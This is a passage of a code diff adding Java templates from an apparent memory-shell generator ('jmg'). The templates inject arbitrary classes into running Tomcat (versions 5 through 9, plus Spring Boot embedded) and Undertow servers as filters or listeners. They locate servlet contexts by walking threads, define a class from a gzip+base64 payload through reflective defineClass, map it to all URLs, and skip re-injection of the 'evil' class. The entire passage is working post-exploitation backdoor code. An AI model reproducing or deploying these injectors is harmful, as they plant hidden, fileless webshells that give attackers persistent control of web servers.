contexts.add(context);
|
||||||
|
// 兼容 spring boot 2.x embedded tomcat
|
||||||
|
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 适配 tomcat v9
|
||||||
|
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
||||||
|
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
|
||||||
|
if (context != null && context.getClass().getName().contains("StandardContext"))
|
||||||
|
contexts.add(context);
|
||||||
|
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private Object getFilter(Object context) {
|
||||||
|
|
||||||
|
Object filter = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
filter = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
filter = clazz.newInstance();
|
||||||
|
} catch (Throwable tt) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return filter;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getFilterName(String className) {
|
||||||
|
if (className.contains(".")) {
|
||||||
|
int lastDotIndex = className.lastIndexOf(".");
|
||||||
|
return className.substring(lastDotIndex + 1);
|
||||||
|
} else {
|
||||||
|
return className;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
|
||||||
|
ClassLoader catalinaLoader = getCatalinaLoader();
|
||||||
|
String filterClassName = getClassName();
|
||||||
|
String filterName = getFilterName(filterClassName);
|
||||||
|
Object filterDef;
|
||||||
|
Object filterMap;
|
||||||
|
|
||||||
|
// 防止重复注入
|
||||||
|
try {
|
||||||
|
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
// tomcat v8/9
|
||||||
|
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||||
|
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
||||||
|
} catch (Exception e2) {
|
||||||
|
// tomcat v6/7
|
||||||
|
try {
|
||||||
|
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
|
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
// tomcat v5
|
||||||
|
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance();
|
||||||
|
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
|
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
|
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
|
||||||
|
Constructor<?>[] constructors;
|
||||||
|
try {
|
||||||
|
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
|
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||||
|
} catch (Exception e) {
|
||||||
|
// tomcat v5
|
||||||
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
|
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
// v7.0.0 以上
|
||||||
|
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||||
|
} catch (Exception e) {
|
||||||
|
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||||
|
}
|
||||||
|
|
||||||
|
constructors[0].setAccessible(true);
|
||||||
|
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||||
|
Map filterConfigs = (Map) getFV(context, "filterConfigs");
|
||||||
|
filterConfigs.put(filterName, filterConfig);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||||
|
ClassLoader catalinaLoader = null;
|
||||||
|
for (int i = 0; i < threads.length; i++) {
|
||||||
|
// 适配 v5 的 Class Loader 问题
|
||||||
|
if (threads[i].getName().contains("ContainerBackgroundProcessor")) {
|
||||||
|
catalinaLoader = threads[i].getContextClassLoader();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return catalinaLoader;
|
||||||
|
}
|
||||||
|
|
||||||
|
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,230 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Tomcat Listener 注入器
|
||||||
|
* Author: pen4uin
|
||||||
|
* 测试版本:
|
||||||
|
* jdk v1.8.0_275
|
||||||
|
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
||||||
|
*/
|
||||||
|
public class TomcatListenerInjectorTpl {
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
new TomcatListenerInjectorTpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
public TomcatListenerInjectorTpl() {
|
||||||
|
try {
|
||||||
|
List<Object> contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object listener = getListener(context);
|
||||||
|
addListener(context, listener);
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||||
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||||
|
Object context = null;
|
||||||
|
try {
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
// 适配 v5/v6/7/8
|
||||||
|
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
|
||||||
|
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||||
|
// 原: map.get("localhost")
|
||||||
|
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
|
||||||
|
for (Object key : childrenMap.keySet()) {
|
||||||
|
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||||
|
// 原: context = children.get("");
|
||||||
|
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
|
||||||
|
for (Object key1 : children.keySet()) {
|
||||||
|
context = children.get(key1);
|
||||||
|
if (context != null && context.getClass().getName().contains("StandardContext"))
|
||||||
|
contexts.add(context);
|
||||||
|
// 兼容 spring boot 2.x embedded tomcat
|
||||||
|
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 适配 tomcat v9
|
||||||
|
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
||||||
|
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
|
||||||
|
if (context != null && context.getClass().getName().contains("StandardContext"))
|
||||||
|
contexts.add(context);
|
||||||
|
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getListener(Object context) {
|
||||||
|
|
||||||
|
Object listener = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
listener = clazz.newInstance();
|
||||||
|
} catch (Throwable tt) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return listener;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addListener(Object context, Object listener) throws Exception {
|
||||||
|
if (isInjected(context, listener.getClass().getName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
invokeMethod(context, "addApplicationEventListener", new Class[]{Object.class}, new Object[]{listener});
|
||||||
|
} catch (Exception e) {
|
||||||
|
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
|
||||||
|
List listeners = Arrays.asList(objects);
|
||||||
|
ArrayList arrayList = new ArrayList(listeners);
|
||||||
|
arrayList.add(listener);
|
||||||
|
// (Object) 类型转换 解决 tomcat v5/v6 IllegalArgumentException: argument type mismatch
|
||||||
|
//context.getClass().getMethod("setApplicationEventListeners",Object[].class).invoke(context, (Object) arrayList.toArray());
|
||||||
|
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{(Object) arrayList.toArray()});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||||
|
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
|
||||||
|
List listeners = Arrays.asList(objects);
|
||||||
|
ArrayList arrayList = new ArrayList(listeners);
|
||||||
|
for (int i = 0; i < arrayList.size(); i++) {
|
||||||
|
if (arrayList.get(i).getClass().getName().contains(evilClassName)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,207 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import javax.servlet.DispatcherType;
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
|
public class UndertowFilterInjectorTpl {
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "/*";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
new UndertowFilterInjectorTpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public UndertowFilterInjectorTpl() {
|
||||||
|
try {
|
||||||
|
List<Object> contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object filter = getFilter(context);
|
||||||
|
addFilter(context, filter);
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||||
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||||
|
for (int i = 0; i < threads.length; i++) {
|
||||||
|
try {
|
||||||
|
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||||
|
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||||
|
if (servletContext != null)
|
||||||
|
contexts.add(servletContext);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getFilter(Object context) {
|
||||||
|
Object filter = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
filter = clazz.newInstance();
|
||||||
|
} catch (Throwable tt) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return filter;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addFilter(Object context, Object filter) {
|
||||||
|
String filterClassName = filter.getClass().getName();
|
||||||
|
try {
|
||||||
|
if (isInjected(context, filterClassName)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
|
||||||
|
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||||
|
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass());
|
||||||
|
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||||
|
Object deploymentImpl = getFV(context, "deployment");
|
||||||
|
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
|
||||||
|
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||||
|
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST});
|
||||||
|
} catch (Throwable e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||||
|
Map<String, Object> filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters");
|
||||||
|
for (Map.Entry<String, Object> filter : filters.entrySet()) {
|
||||||
|
Class filterClass = (Class) getFV(filter.getValue(), "filterClass");
|
||||||
|
if (filterClass.getName().equals(evilClassName)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,202 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
|
